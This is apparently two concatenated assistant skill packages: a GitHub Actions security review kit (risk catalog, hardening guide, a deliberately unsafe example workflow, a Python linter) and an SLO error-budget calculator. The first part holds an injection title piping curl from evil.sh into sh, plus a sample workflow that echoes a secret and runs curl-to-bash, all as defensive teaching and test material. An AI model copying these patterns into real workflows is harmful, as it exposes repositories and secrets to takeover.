stated reason; never silently drop a high finding. ### 4. Propose fixes Use `references/risk-catalog.md` for each rule ID and `references/hardening-guide.md` for patterns. Prefer small, reviewable diffs: move `{}` into `env:` and quote the shell variable, add a top-level `permissions: contents: read`, pin `uses:` to a full commit SHA with the tag in a comment, and add `persist-credentials: false` and `timeout-minutes`. ### 5. Report Fill `templates/workflow-security-review.md`: files reviewed, findings by severity with line numbers, the attack scenario for each high finding, the patch, and follow-ups (Dependabot for actions, branch protection, environment reviewers). ## Rules - Treat titles, bodies, branch names, commit messages, and comments from PRs and issues as attacker input. - Never ask for or print secret values; refer to secrets by name only. - Do not write proof-of-concept exploits against repositories the user does not own; describe the risk instead. - A clean linter run is not a guarantee. Say what was not checked (reusable workflows, composite actions, repository settings). FILE:references/risk-catalog.md # Risk Catalog (rule IDs used by gha_audit.py) | ID | Severity | What it detects | Why it matters | Fix | |---|---|---|---|---| | GHA001 | high | `pull_request_target` (or `workflow_run`) workflow that checks out the PR head (`ref: { github.event.pull_request.head.sha}`, `head.ref`, `github.head_ref`) | Code from a fork runs with repository secrets and a write token ("pwn request") | Use `pull_request` for building untrusted code; keep `pull_request_target` for labeling/commenting only, without checkout of PR code | | GHA002 | high | Untrusted `{}` expression inside `run:` or `github-script` `script:` (issue/PR title or body, comment body, head ref, commit message, author name/email, page name) | The text is pasted into the script before it runs, so a title like `"; curl evil.sh | sh #` executes | Pass it through `env:` and use `"$TITLE"` in the shell | | GHA003 | medium (low for `actions/*`, `github/*`) | `uses: owner/repo@v4` pinned to a tag | Tags can be moved; a compromised action ships code into your build | Pin to the full 40-character commit SHA, keep the tag in a comment, let Dependabot update it | | GHA004 | high | `uses:` with a branch (`@main`, `@master`) or no ref | Every run pulls whatever is on that branch today | Pin to a commit SHA | | GHA005 | medium | No `permissions:` at workflow level and not on every job | The `GITHUB_TOKEN` gets the repository default, often read/write on everything | Add `permissions: contents: read` at the top and grant more per job | | GHA006 | high | `permissions: write-all` | Every scope can be written by any step | List only the scopes needed | | GHA007 | high / medium | `{ secrets.X}` inside a `run:` command (high when echoed or printed) | Secrets end up in shell history, process lists, logs, or injected text | Map the secret to `env:` and read `$X`; never echo it | | GHA008 | medium | `curl ... \| bash` or `wget ... \| sh` | Runs unverified remote code with the job's token and secrets | Download, verify a checksum or signature, then run; or use a pinned action | | GHA009 | medium | `self-hosted` runner in a workflow triggered by `pull_request` or `pull_request_target` | Fork code can persist on the machine and attack later jobs | Use GitHub-hosted or ephemeral runners for PRs; require approval for outside contributors | | GHA010 | high | `ACTIONS_ALLOW_UNSECURE_COMMANDS: true` | Re-enables deprecated `set-env`/`add-path`, which log output can trigger | Remove it; write to `$GITHUB_ENV` and `$GITHUB_PATH` | | GHA011 | low | `actions/checkout` without `persist-credentials: false` | The token stays in `.git/config` for every later step and any uploaded artifact | Add `persist-credentials: false` unless a later step pushes | | GHA012 | low | Job without `timeout-minutes` | A hung or abused job can run for 6 hours on your minutes | Add a realistic timeout (e.g. 15-30) | | GHA013 | low | `docker://image:tag` without `@sha256:` digest | Image tags are mutable | Pin `docker://image@sha256:<digest>` | | GHA014 | medium | `workflow_run` workflow using `actions/download-artifact` | Artifacts from a fork-triggered run are attacker-controlled | Treat artifact contents as data: validate, never execute; avoid extracting into the workspace | ## Severity guide - **high**: an outsider can likely run code with secrets or a write token, or a mutable reference controls the build. - **medium**: hardening gap that makes a compromise easier or bigger. - **low**: good practice; fix when touching the file. FILE:references/hardening-guide.md # Hardening Guide ## 1. Pass untrusted text through env, not expressions ```yaml # unsafe - run: echo "Title: { github.event.pull_request.title}" # safe - env: PR_TITLE: { github.event.pull_request.title} run: echo "Title: $PR_TITLE" ``` Always double-quote the variable. In `actions/github-script`, read `context.payload.pull_request.title` in JavaScript instead of interpolating `{}` into the script. ## 2. Least-privilege token ```yaml permissions: contents: read # workflow default jobs: label: permissions: pull-requests: write # only this job can label ``` Also set the repository default to read-only (Settings > Actions > General > Workflow permissions). ## 3. Pin actions to commit SHAs ```yaml - uses: actions/checkout@08eba0b27e820071cde6df949e0beb9ba4906955 # v4.3.0 ``` Enable Dependabot for the `github-actions` ecosystem so pins get update PRs with changelogs. Prefer actions from verified publishers and read the source of small third-party actions before adopting them. ## 4. Split privileged and unprivileged work - `pull_request` workflow: builds and tests fork code with no secrets and a read-only token; uploads results as an artifact. - `workflow_run` workflow: runs after it with secrets, downloads the artifact, treats it as untrusted data (parse JSON, never execute), and posts the comment or label. ## 5. Checkout and credentials - `persist-credentials: false` on `actions/checkout` unless the job pushes. - Never check out PR code in `pull_request_target`; if you must (e.g. a labeler reading config), check out the base branch only. ## 6. Runners and limits - Self-hosted runners: private repositories only, or ephemeral (one job per VM) with no network access to internal systems. - `timeout-minutes` on every job; `concurrency` groups for deploys. ## 7. Secrets and environments - Put deploy credentials in an environment with required reviewers and branch rules. - Prefer OIDC (`id-token: write`) to long-lived cloud keys. - Mask derived values with `::add-mask::` before printing anything secret-like. ## Review checklist 1. Which triggers can outsiders fire? 2. What can the token write, and which secrets are reachable from those triggers? 3. Is any attacker-controlled text interpolated into a script? 4. Is every `uses:` pinned to a SHA? 5. Is any remote code executed without verification? FILE:templates/workflow-security-review.md # GitHub Actions Security Review - <repository> **Date:** <YYYY-MM-DD> **Reviewer:** <name> **Files:** <.github/workflows/...> **Repo visibility:** <public/private> **Fork PRs allowed:** <yes/no> **Self-hosted runners:** <yes/no> **Linter:** `gha_audit.py` -> <n> high, <n> medium, <n> low ## High findings | Rule | File:line | Problem | Attack scenario | Fix | |---|---|---|---|---| | | | | | | ## Medium and low findings | Rule | File:line | Problem | Fix | |---|---|---|---| | | | | | ## Dismissed findings - <rule, file:line> - <reason it is not exploitable here> ## Proposed patch ```diff <minimal diff> ``` ## Not covered by this review - Reusable workflows and composite actions called from these files - Repository and organization settings (default token permissions, fork PR approval, environments) ## Follow-ups - [ ] Enable Dependabot for github-actions - [ ] Set default workflow permissions to read-only - [ ] Require reviewers on the production environment FILE:examples/pr-labeler.yml # Deliberately unsafe example for gha_audit.py. Expected findings (line numbers in this file): # GHA001 high line 21 - pull_request_target checks out the PR head # GHA002 high line 24 - PR title pasted into run (script injection) # GHA007 high line 25 - secret echoed in run # GHA004 high line 27 - third-party action on @main # GHA005 medium line 1 - no permissions block at workflow or job level # GHA008 medium line 26 - curl piped to bash # GHA012 low line 16 - job without timeout-minutes # GHA003 low line 19 - actions/checkout@v4 pinned to a tag # GHA011 low line 19 - checkout without persist-credentials: false name: PR labeler on: pull_request_target: types: [opened, synchronize] jobs: label: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 with: ref: { github.event.pull_request.head.sha} - name: Greet run: | echo "Thanks for: { github.event.pull_request.title}" echo "token={ secrets.LABEL_TOKEN}" curl -sSL https://example.com/install.sh | bash - uses: someorg/auto-labeler@main FILE:scripts/gha_audit.py #!/usr/bin/env python3 """GitHub Actions workflow security linter (Python 3 standard library only, no YAML library). Reads workflow files line by line, tracking indentation, and reports risky patterns with rule IDs (see references/risk-catalog.md): GHA001 pull_request_target/workflow_run + checkout of PR head high GHA002 untrusted { github.event.*} text inside run:/script: high GHA003 uses: pinned to a tag instead of a commit SHA medium (low for actions/*, github/*) GHA004 uses: on a branch (@main/@master) or without a ref high GHA005 no permissions at workflow level or on every job medium GHA006 permissions: write-all high GHA007 { secrets.*} inside run: (high when echoed/printed) high/medium GHA008 curl/wget piped to a shell medium GHA009 self-hosted runner on pull_request(_target) medium GHA010 ACTIONS_ALLOW_UNSECURE_COMMANDS enabled high GHA011 actions/checkout without persist-credentials: false low GHA012 job without timeout-minutes low GHA013 docker:// image without @sha256 digest low GHA014 workflow_run + actions/download-artifact medium Usage: python3 gha_audit.py .github/workflows/*.yml python3 gha_audit.py ci.yml --json python3 gha_audit.py ci.yml --strict # exit 1 on any finding python3 gha_audit.py --self-test Exit code: 0 no high findings, 1 high findings (or any with --strict), 2 unreadable file. """ import argparse import json import re import sys SEV_ORDER = {"high": 0, "medium": 1, "low": 2} TRUSTED_OWNERS = {"actions", "github"} BRANCH_REFS = {"main", "master", "dev", "develop", "trunk", "head", "latest"} UNTRUSTED_EXPR = re.compile( r"github\.head_ref" r"|github\.event\.[\w.*\[\]'\"-]*?\b(title|body|message|page_name|email|head_branch|default_branch|label)\b" r"|github\.event\.[\w.*\[\]'\"-]*?head\.ref\b" r"|github\.event\.[\w.*\[\]'\"-]*?author\.name\b" ) EXPR = re.compile(r"\$\{\{(.*?)\}\}") SECRET_EXPR = re.compile(r"\$\{\{\s*secrets\.([A-Za-z0-9_]+)\s*\}\}") PR_HEAD_REF = re.compile(r"ref:\s*['\"]?\$\{\{\s*(github\.event\.pull_request\.head\.(sha|ref)|github\.head_ref|github\.event\.workflow_run\.head_(sha|branch))\s*\}\}") PIPE_SHELL = re.compile(r"\b(curl|wget)\b[^|\n]*\|\s*(sudo\s+)?(-E\s+)?(ba|z|da)?sh\b") PRINT_CMD = re.compile(r"\b(echo|printf|cat|tee|print)\b") SHA40 = re.compile(r"^[0-9a-f]{40}$") def strip_comment(line): """Remove a trailing YAML comment (a # preceded by whitespace, outside quotes).""" out, q = [], None for i, ch in enumerate(line): if q: if ch == q: q = None elif ch in "'\"": q = ch elif ch == "#" and (i == 0 or line[i - 1] in " \t"): break out.append(ch) return "".join(out).rstrip() def indent_of(s): return len(s) - len(s.lstrip(" ")) def parse_lines(text): """Return a list of (lineno, indent, content) for non-empty, non-comment lines.""" rows = [] for n, raw in enumerate(text.splitlines(), 1): s = strip_comment(raw.replace("\t", " ")) if s.strip(): rows.append((n, indent_of(s), s.strip())) return rows def block_end(rows, i): """Index after the block owned by rows[i] (all following rows indented deeper).""" ind = rows[i][1] j = i + 1 while j < len(rows) and rows[j][1] > ind: j += 1 return j def key_of(content): c = content[2:].lstrip() if content.startswith("- ") else content m = re.match(r"^['\"]?([A-Za-z0-9_\-]+)['\"]?\s*:(\s|$)", c) return (m.group(1), c[m.end():].strip()) if m else (None, None) def triggers(rows): trig = set() for i, (n, ind, c) in enumerate(rows): k, v = key_of(c) if ind == 0 and k in ("on", "true"): if v: trig.update(re.findall(r"[a-z_]+", v)) else: end = block_end(rows, i) child = min((rows[j][1] for j in range(i + 1, end)), default=None) for j in range(i + 1, end): if rows[j][1] == child: ck, _ = key_of(rows[j][2]) if ck: trig.add(ck) elif rows[j][2].startswith("- "): trig.add(rows[j][2][2:].strip()) return trig def audit_text(text, path="workflow.yml"): rows = parse_lines(text) findings = [] def add(rule, sev, line, msg): findings.append({"file": path, "line": line, "rule": rule, "severity": sev, "message": msg}) trig = triggers(rows) privileged = trig & {"pull_request_target", "workflow_run"} pr_triggers = trig & {"pull_request", "pull_request_target"} top_perm = None jobs_idx = None for i, (n, ind, c) in enumerate(rows): k, v = key_of(c) if ind == 0 and k == "permissions": top_perm = (n, v) if ind == 0 and k == "jobs": jobs_idx = i if top_perm and top_perm[1].strip("'\"") == "write-all": add("GHA006", "high", top_perm[0], "permissions: write-all gives every step write access to all scopes") # jobs jobs = [] if jobs_idx is not None: end = block_end(rows, jobs_idx) child = min((rows[j][1] for j in range(jobs_idx + 1, end)), default=None) for j in range(jobs_idx + 1, end): if rows[j][1] == child and key_of(rows[j][2])[0]: jobs.append((j, block_end(rows, j))) jobs_with_perm = 0 for (js, je) in jobs: jname = key_of(rows[js][2])[0] jind = rows[js][1] direct = [r for r in rows[js + 1:je] if r[1] == min(x[1] for x in rows[js + 1:je])] if je > js + 1 else [] dkeys = {key_of(r[2])[0]: r for r in direct} if "permissions" in dkeys: jobs_with_perm += 1 if dkeys["permissions"][2].split(":", 1)[1].strip().strip("'\"") == "write-all": add("GHA006", "high", dkeys["permissions"][0], f"job '{jname}' uses permissions: write-all") if "timeout-minutes" not in dkeys and "uses" not in dkeys: add("GHA012", "low", rows[js][0], f"job '{jname}' has no timeout-minutes (default is 360)") if "runs-on" in dkeys: ro_i = rows.index(dkeys["runs-on"]) ro_text = " ".join(r[2] for r in rows[ro_i:block_end(rows, ro_i)]) if "self-hosted" in ro_text and pr_triggers: add("GHA009", "medium", dkeys["runs-on"][0], f"job '{jname}' runs pull request code on a self-hosted runner") if top_perm is None and (not jobs or jobs_with_perm < len(jobs)): add("GHA005", "medium", 1, "no permissions block at workflow level (and not on every job); GITHUB_TOKEN gets the repo default") # line-level checks i = 0 while i < len(rows): n, ind, c = rows[i] k, v = key_of(c) if k in ("run", "script"): end = block_end(rows, i) body = [(n, v)] if v and v not in ("|", ">", "|-", ">-", "|+", ">+") else [] body += [(r[0], r[2]) for r in rows[i + 1:end]] for bn, bt in body: for m in EXPR.finditer(bt): expr = m.group(1).strip() if UNTRUSTED_EXPR.search(expr): add("GHA002", "high", bn, f"untrusted expression {{{ {expr }}}} is pasted into {k}: (script injection); pass it via env") for m in SECRET_EXPR.finditer(bt): if PRINT_CMD.search(bt): add("GHA007", "high", bn, f"secret {m.group(1)} is printed in {k}:") else: add("GHA007", "medium", bn, f"secret {m.group(1)} is interpolated into {k}:; map it to env instead") if k == "run" and PIPE_SHELL.search(bt): add("GHA008", "medium", bn, "remote script piped straight into a shell") i = end continue if k == "uses": ref = v.strip("'\"") if ref.startswith("./"): pass elif ref.startswith("docker://"): if "@sha256:" not in ref: add("GHA013", "low", n, f"{ref} is not pinned to an image digest") else: name, _, at = ref.partition("@") owner = name.split("/")[0].lower() if not at or at.lower() in BRANCH_REFS: add("GHA004", "high", n, f"{ref or name} follows a branch or has no ref; pin to a commit SHA") elif not SHA40.match(at): sev = "low" if owner in TRUSTED_OWNERS else "medium" add("GHA003", sev, n, f"{ref} is pinned to a tag, not a full commit SHA") if name.lower().startswith("actions/checkout"): # the step block: siblings at this indent (after '- ') and deeper step_ind = ind + 2 if c.startswith("- ") else ind j = i + 1 j0 = i while j0 > 0 and not rows[j0][2].startswith("- ") and rows[j0][1] >= step_ind: j0 -= 1 while j < len(rows) and rows[j][1] >= step_ind and not (rows[j][1] == step_ind - 2 and rows[j][2].startswith("- ")): j += 1 step = " ".join(r[2] for r in rows[j0:j]) if not re.search(r"persist-credentials:\s*['\"]?false", step): add("GHA011", "low", n, "actions/checkout keeps the token in .git/config; add persist-credentials: false") if name.lower().startswith("actions/download-artifact") and "workflow_run" in trig: add("GHA014", "medium", n, "artifact from a workflow_run may be attacker-controlled; treat as data") if privileged and PR_HEAD_REF.search(c): add("GHA001", "high", n, f"{'/'.join(sorted(privileged))} workflow checks out untrusted PR code with secrets available") if re.search(r"ACTIONS_ALLOW_UNSECURE_COMMANDS\s*:\s*['\"]?true", c, re.I): add("GHA010", "high", n, "ACTIONS_ALLOW_UNSECURE_COMMANDS re-enables set-env/add-path") i += 1 findings.sort(key=lambda f: (f["file"], SEV_ORDER[f["severity"]], f["line"], f["rule"])) return {"file": path, "triggers": sorted(trig), "jobs": len(jobs), "findings": findings} def to_markdown(results): out = ["# GitHub Actions security audit", ""] tot = {"high": 0, "medium": 0, "low": 0} for r in results: for f in r["findings"]: tot[f["severity"]] += 1 out.append(f"**Files:** {len(results)} **Findings:** {tot['high']} high, {tot['medium']} medium, {tot['low']} low") for r in results: out += ["", f"## {r['file']}", f"Triggers: {', '.join(r['triggers']) or 'none found'}; jobs: {r['jobs']}", ""] if not r["findings"]: out.append("No findings.") continue out += ["| Severity | Rule | Line | Finding |", "|---|---|---|---|"] for f in r["findings"]: msg = f["message"].replace("|", "\\|") out.append(f"| {f['severity']} | {f['rule']} | {f['line']} | {msg} |") return "\n".join(out) SAFE = """name: CI on: pull_request: permissions: contents: read jobs: test: runs-on: ubuntu-latest timeout-minutes: 15 steps: - uses: actions/checkout@08eba0b27e820071cde6df949e0beb9ba4906955 # v4.3.0 with: persist-credentials: false - name: Test env: PR_TITLE: { github.event.pull_request.title} run: | echo "Testing $PR_TITLE" make test """ def self_test(): cases = [] def ok(name, cond): cases.append((name, bool(cond))) def rules(text): return [(f["rule"], f["severity"]) for f in audit_text(text)["findings"]] ok("safe workflow has no findings", rules(SAFE) == []) ok("triggers parsed from block", audit_text(SAFE)["triggers"] == ["pull_request"]) ok("triggers parsed from list", audit_text("on: [push, pull_request]\njobs: {}\n")["triggers"] == ["pull_request", "push"]) inj = SAFE.replace('echo "Testing $PR_TITLE"', 'echo "{ github.event.pull_request.title}"') ok("title in run is GHA002 high", ("GHA002", "high") in rules(inj)) ok("head_ref in run is GHA002", ("GHA002", "high") in rules(SAFE.replace("make test", "git push origin { github.head_ref}"))) ok("comment body in github-script", ("GHA002", "high") in rules(SAFE.replace("run: |", "script: |") .replace("make test", "core.info('{ github.event.comment.body}')"))) ok("env indirection is not flagged", not any(r == "GHA002" for r, _ in rules(SAFE))) ok("PR number is safe", rules(SAFE.replace("make test", "echo { github.event.pull_request.number}")) == []) ok("tag pin on actions/* is GHA003 low", ("GHA003", "low") in rules(SAFE.replace("@08eba0b27e820071cde6df949e0beb9ba4906955", "@v4"))) ok("tag pin third party is medium", ("GHA003", "medium") in rules(SAFE.replace("actions/checkout@08eba0b27e820071cde6df949e0beb9ba4906955", "acme/checkout@v1"))) ok("branch pin is GHA004 high", ("GHA004", "high") in rules(SAFE.replace("@08eba0b27e820071cde6df949e0beb9ba4906955", "@main"))) ok("local action not flagged", rules(SAFE.replace("actions/checkout@08eba0b27e820071cde6df949e0beb9ba4906955", "./.github/actions/setup")) == []) ok("missing permissions is GHA005", ("GHA005", "medium") in rules(SAFE.replace("permissions:\n contents: read\n", ""))) ok("job-level permissions satisfy GHA005", rules(SAFE.replace("permissions:\n contents: read\n", "").replace(" timeout-minutes: 15\n", " timeout-minutes: 15\n permissions:\n contents: read\n")) == []) ok("write-all is GHA006", ("GHA006", "high") in rules(SAFE.replace("permissions:\n contents: read", "permissions: write-all"))) ok("echoed secret is GHA007 high", ("GHA007", "high") in rules(SAFE.replace("make test", "echo { secrets.NPM_TOKEN}"))) ok("inline secret is GHA007 medium", ("GHA007", "medium") in rules(SAFE.replace("make test", "npm publish --token { secrets.NPM_TOKEN}"))) ok("curl | bash is GHA008", ("GHA008", "medium") in rules(SAFE.replace("make test", "curl -fsSL https://x.sh | sudo bash"))) ok("self-hosted on PR is GHA009", ("GHA009", "medium") in rules(SAFE.replace("ubuntu-latest", "[self-hosted, linux]"))) ok("self-hosted on push is fine", rules(SAFE.replace("pull_request:", "push:").replace("ubuntu-latest", "self-hosted")) == []) ok("unsecure commands is GHA010", ("GHA010", "high") in rules(SAFE.replace("PR_TITLE: { github.event.pull_request.title}", "ACTIONS_ALLOW_UNSECURE_COMMANDS: true"))) ok("checkout without persist-credentials is GHA011", ("GHA011", "low") in rules(SAFE.replace(" with:\n persist-credentials: false\n", ""))) ok("missing timeout is GHA012", ("GHA012", "low") in rules(SAFE.replace(" timeout-minutes: 15\n", ""))) ok("docker tag is GHA013", ("GHA013", "low") in rules(SAFE.replace("actions/checkout@08eba0b27e820071cde6df949e0beb9ba4906955 # v4.3.0", "docker://alpine:3.20"))) prt = SAFE.replace("pull_request:", "pull_request_target:").replace("persist-credentials: false", "persist-credentials: false\n ref: { github.event.pull_request.head.sha}") ok("pull_request_target + head checkout is GHA001", ("GHA001", "high") in rules(prt)) ok("pull_request + head checkout is not GHA001", not any(r == "GHA001" for r, _ in rules(SAFE.replace("persist-credentials: false", "persist-credentials: false\n ref: { github.event.pull_request.head.sha}")))) wr = SAFE.replace("pull_request:", "workflow_run:\n workflows: [CI]").replace(" - name: Test", " - uses: actions/download-artifact@634f93cb2916e3fdff6788551b99b062d0335ce0 # v5\n - name: Test") ok("workflow_run + download-artifact is GHA014", ("GHA014", "medium") in rules(wr)) ok("comment with # in string kept", strip_comment('run: echo "a # b" # note') == 'run: echo "a # b"') md = to_markdown([audit_text(inj, "ci.yml")]) ok("markdown lists file and rule", "## ci.yml" in md and "GHA002" in md) passed = sum(c for _, c in cases) for name, c in cases: print(("PASS " if c else "FAIL ") + name) print(f"{passed}/{len(cases)} passed") return 0 if passed == len(cases) else 1 def main(argv=None): ap = argparse.ArgumentParser(description="Lint GitHub Actions workflow files for security risks.") ap.add_argument("files", nargs="*", help="workflow .yml files ('-' for stdin)") ap.add_argument("--json", action="store_true") ap.add_argument("--strict", action="store_true", help="exit 1 on any finding") ap.add_argument("--self-test", action="store_true") a = ap.parse_args(argv) if a.self_test: return self_test() if not a.files: ap.error("at least one workflow file required (or --self-test)") results = [] for p in a.files: try: text = sys.stdin.read() if p == "-" else open(p, encoding="utf-8").read() except OSError as e: print(f"error: {e}", file=sys.stderr) return 2 results.append(audit_text(text, p)) print(json.dumps(results, indent=2) if a.json else to_markdown(results)) allf = [f for r in results for f in r["findings"]] if any(f["severity"] == "high" for f in allf) or (a.strict and allf): return 1 return 0 if __name__ == "__main__": sys.exit(main())
Turns request counts into SLO answers: SLI, error budget for a 28d or 30d window, budget consumed and remaining, burn rates over 5m to 3d, multiwindow burn-rate alerts (page at 14.4x and 6x, ticket at 3x and 1x, scaled to the window), and time until the budget runs out. Use when setting an SLO, tuning alerts, deciding on a release freeze, or writing an incident summary. Includes a stdlib Python calculator with --self-test.
---
name: slo-error-budget-burn-rate-calculator
description: Turns request counts into SLO answers: SLI, error budget for a 28d or 30d window, budget consumed and remaining, burn rates over 5m to 3d, multiwindow burn-rate alerts (page at 14.4x and 6x, ticket at 3x and 1x, scaled to the window), and time until the budget runs out. Use when setting an SLO, tuning alerts, deciding on a release freeze, or writing an incident summary. Includes a stdlib Python calculator with --self-test.
---
# SLO Error Budget and Burn Rate Calculator
You help engineers and on-call teams reason about reliability with numbers instead of gut feeling. You turn good/total request counts into an SLI, translate the SLO into an error budget, show how fast the budget is burning in several windows, say which alerts would page or open a ticket, and estimate when the budget runs out at the current pace. You explain every number in plain language so product owners can follow the decision.
## Files in this skill
- `scripts/slo_budget.py` - reads a CSV of request counts per interval and prints SLI, budget consumed and remaining, burn rates, alert states, exhaustion times and the worst interval; `--allowance` prints allowed downtime and alert thresholds for any SLO (Python 3 standard library only)
- `references/slo-math.md` - formulas for SLI, error budget, burn rate, projected consumption, and worked numbers for common targets
- `references/burn-rate-alerting.md` - the multiwindow, multi-burn-rate alert policy, how thresholds scale with the window, and tuning advice
- `templates/slo-status-report.md` - a weekly SLO status or incident budget summary
- `examples/checkout-api-requests.csv` - two days of 15-minute request counts for a checkout API with a small blip and a 2-hour incident at the end
## Workflow
### 1. Define the SLI and SLO
Ask what a "good" event is (status < 500, latency under 300 ms, successful job run), where the counts come from, the target (99%, 99.5%, 99.9%, 99.95%), and the window (rolling 28 or 30 days). Push back on targets the system has never met: show the historical SLI first.
### 2. Get the data
Export good and total (or bad and total) counts per interval, for example 1-minute, 5-minute or 15-minute buckets, as CSV with `timestamp,total,good`. The timestamp marks the start of each interval. Use UTC.
### 3. Run the calculator
```
python3 scripts/slo_budget.py examples/checkout-api-requests.csv --slo 99.9 --window 30d
python3 scripts/slo_budget.py requests.csv --slo 99.5 --window 28d --json > slo.json
python3 scripts/slo_budget.py requests.csv --now 2026-10-19T22:00:00Z
python3 scripts/slo_budget.py --allowance --slo 99.95 --window 30d
python3 scripts/slo_budget.py --self-test
```
Exit code 1 means a page alert is firing or the budget is exhausted; 2 means bad input (missing columns, bad > total, unparseable timestamps).
### 4. Interpret
- Burn rate 1.0 spends exactly the budget over the window; 14.4 for an hour spends 2% of a 30-day budget.
- Budget consumed is projected against the traffic seen so far; with less than a full window of data, say so.
- An alert fires only when both its long and short window exceed the threshold; the short window makes it stop quickly after recovery. See `references/burn-rate-alerting.md`.
- Windows shorter than the data step are rounded up to one step; windows longer than the data are "not evaluable".
### 5. Recommend and report
Tie the numbers to a decision: page now, open a ticket, slow down risky releases while remaining budget is low, or loosen an SLO that is always violated by design. Fill `templates/slo-status-report.md`.
## Example result
For `examples/checkout-api-requests.csv` at 99.9% over 30d: SLI 99.8768%, 8.2% of the budget consumed, 1h burn 26.46 and 5m burn 28.06 so the fast page fires, 6h burn 5.83 just under 6.0, the 3d ticket is not evaluable with two days of data, and at the last hour's pace the budget is gone in about 1d 16h. Exit code 1.
## Rules
- State the SLO, window, data range and any missing intervals with every result.
- Do not mix good-event definitions in one SLI; compute separate SLOs for availability and latency.
- An SLO is a decision tool, not a blame tool: describe impact on users, not on people.
- Do not invent traffic numbers; if counts are missing, ask for them or say which result cannot be computed.
FILE:references/slo-math.md
# SLO Math
## Definitions
- **SLI** (service level indicator) = good events / total events, as a percentage.
- **SLO** (objective) = target SLI over a window, e.g. 99.9% of requests succeed over a rolling 30 days.
- **Error budget** = 1 - SLO = the share of events allowed to fail. 99.9% -> 0.1%.
- **Budget in events** = (1 - SLO) x total events in the window.
- **Error rate** over a window = bad / total in that window.
- **Burn rate** = error rate / (1 - SLO). 1.0 means the budget would be exactly used up at the end of the window.
## Projected consumption with partial data
With D seconds of data and W seconds of SLO window:
- expected requests in window = (requests in data / D) x W
- allowed bad = (1 - SLO) x expected requests
- consumed = bad in data / allowed bad
- time to exhaustion at a recent rate = (allowed bad - bad so far) / (bad per second in that recent window)
## Allowed full downtime
| SLO | per 30 days | per 28 days | per week | per day |
|---|---|---|---|---|
| 99% | 7h 12m | 6h 43m 12s | 1h 40m 48s | 14m 24s |
| 99.5% | 3h 36m | 3h 21m 36s | 50m 24s | 7m 12s |
| 99.9% | 43m 12s | 40m 19s | 10m 5s | 1m 26s |
| 99.95% | 21m 36s | 20m 10s | 5m 2s | 43s |
| 99.99% | 4m 19s | 4m 2s | 1m 0s | 9s |
Request-based SLOs do not care about clock time directly: 10 minutes of 50% errors costs the same as 5 minutes of full downtime at equal traffic, and an outage at 3 a.m. costs less budget than one at peak.
## Worked example
SLO 99.9%, 30d window, 1,000,000 requests per day.
- Budget: 0.001 x 30,000,000 = 30,000 failed requests.
- A 2% error rate for one hour at 41,667 req/h burns 833 failures = 2.8% of the budget, burn rate 20.
- At burn rate 20 the whole budget lasts 30d / 20 = 36 hours.
## Pitfalls
- Counting retries as separate good events hides user-facing failures.
- Very low traffic (night, new region) makes error rates noisy; use a minimum request count or a longer short window.
- Synthetic probes measure the probe, not users; label them separately.
- Changing the SLO mid-window: recompute the whole window with the new target and say so.
FILE:references/burn-rate-alerting.md
# Burn-Rate Alerting
## Default policy (multiwindow, multi-burn-rate)
| Severity | Budget share | Long window | Short window | Burn threshold (30d) | Burn threshold (28d) |
|---|---|---|---|---|---|
| page | 2% | 1h | 5m | 14.4 | 13.44 |
| page | 5% | 6h | 30m | 6.0 | 5.6 |
| ticket | 10% | 1d | 2h | 3.0 | 2.8 |
| ticket | 10% | 3d | 6h | 1.0 | 0.93 |
Threshold = budget share x SLO window / long window. Example: 0.02 x 720h / 1h = 14.4.
## Why two windows
- The **long window** proves the problem is significant (enough budget spent).
- The **short window** (about 1/12 of the long one) proves it is still happening, so the alert resets within minutes after recovery instead of staying red for an hour.
- Fire only when both exceed the threshold.
## Example alert rule (Prometheus style)
```
(
sum(rate(http_requests_errors_total[1h])) / sum(rate(http_requests_total[1h])) > (14.4 * 0.001)
and
sum(rate(http_requests_errors_total[5m])) / sum(rate(http_requests_total[5m])) > (14.4 * 0.001)
)
```
## Tuning
- Low-traffic services: require a minimum number of requests in the short window, or page on 6h only.
- Too many pages: check whether the SLO is stricter than users need before raising thresholds.
- Missed incidents: slow burns below 1.0 never alert by design; review the budget weekly.
- Data step coarser than the short window (e.g. 15-minute buckets): the short window becomes one bucket and recovery detection is slower.
## Budget policy ideas
- Over 50% consumed: review risky changes, prefer canaries.
- Over 75%: release freeze for non-fixes, reliability work first.
- Exhausted: postmortem required; freeze until the rolling window recovers.
FILE:templates/slo-status-report.md
# SLO Status - <service> - <period or incident>
**SLI:** <what counts as good> **SLO:** <target>% over rolling <28d/30d>
**Data:** <start> to <end> UTC, step <interval>, <n> missing intervals
**Calculator:** `slo_budget.py --slo <target> --window <window>` (exit <code>)
## Budget
| Metric | Value |
|---|---|
| SLI in period | |
| Budget consumed | |
| Budget remaining | |
| Allowed full downtime per window | |
## Burn rates
| 5m | 30m | 1h | 2h | 6h | 1d | 3d |
|---|---|---|---|---|---|---|
| | | | | | | |
## Alerts
| Policy | Status | Long / short burn |
|---|---|---|
| page 1h/5m | | |
| page 6h/30m | | |
| ticket 1d/2h | | |
| ticket 3d/6h | | |
## What happened
<worst interval, user impact, cause if known>
## Decision
- [ ] Page / incident open
- [ ] Release policy: <normal / caution / freeze> because <remaining budget>
- [ ] SLO or alert tuning: <change and reason>
## Summary for stakeholders
> <service> met <SLI>% against a <target>% target. <x>% of this window's error budget is used; at the current pace it lasts <time>. Next step: <decision>.
FILE:examples/checkout-api-requests.csv
timestamp,total,good
2026-10-18T00:00:00Z,4757,4755
2026-10-18T00:15:00Z,4525,4523
2026-10-18T00:30:00Z,4313,4311
2026-10-18T00:45:00Z,4122,4120
2026-10-18T01:00:00Z,3951,3949
2026-10-18T01:15:00Z,3803,3801
2026-10-18T01:30:00Z,3678,3676
2026-10-18T01:45:00Z,3577,3576
2026-10-18T02:00:00Z,3500,3498
2026-10-18T02:15:00Z,3448,3446
2026-10-18T02:30:00Z,3421,3419
2026-10-18T02:45:00Z,3019,3018
2026-10-18T03:00:00Z,3044,3043
2026-10-18T03:15:00Z,3093,3092
2026-10-18T03:30:00Z,3169,3168
2026-10-18T03:45:00Z,3270,3268
2026-10-18T04:00:00Z,3396,3394
2026-10-18T04:15:00Z,3547,3545
2026-10-18T04:30:00Z,3722,3720
2026-10-18T04:45:00Z,3921,3919
2026-10-18T05:00:00Z,4143,4141
2026-10-18T05:15:00Z,4388,4386
2026-10-18T05:30:00Z,4253,4251
2026-10-18T05:45:00Z,4539,4537
2026-10-18T06:00:00Z,4845,4843
2026-10-18T06:15:00Z,5168,5166
2026-10-18T06:30:00Z,5509,5507
2026-10-18T06:45:00Z,5865,5863
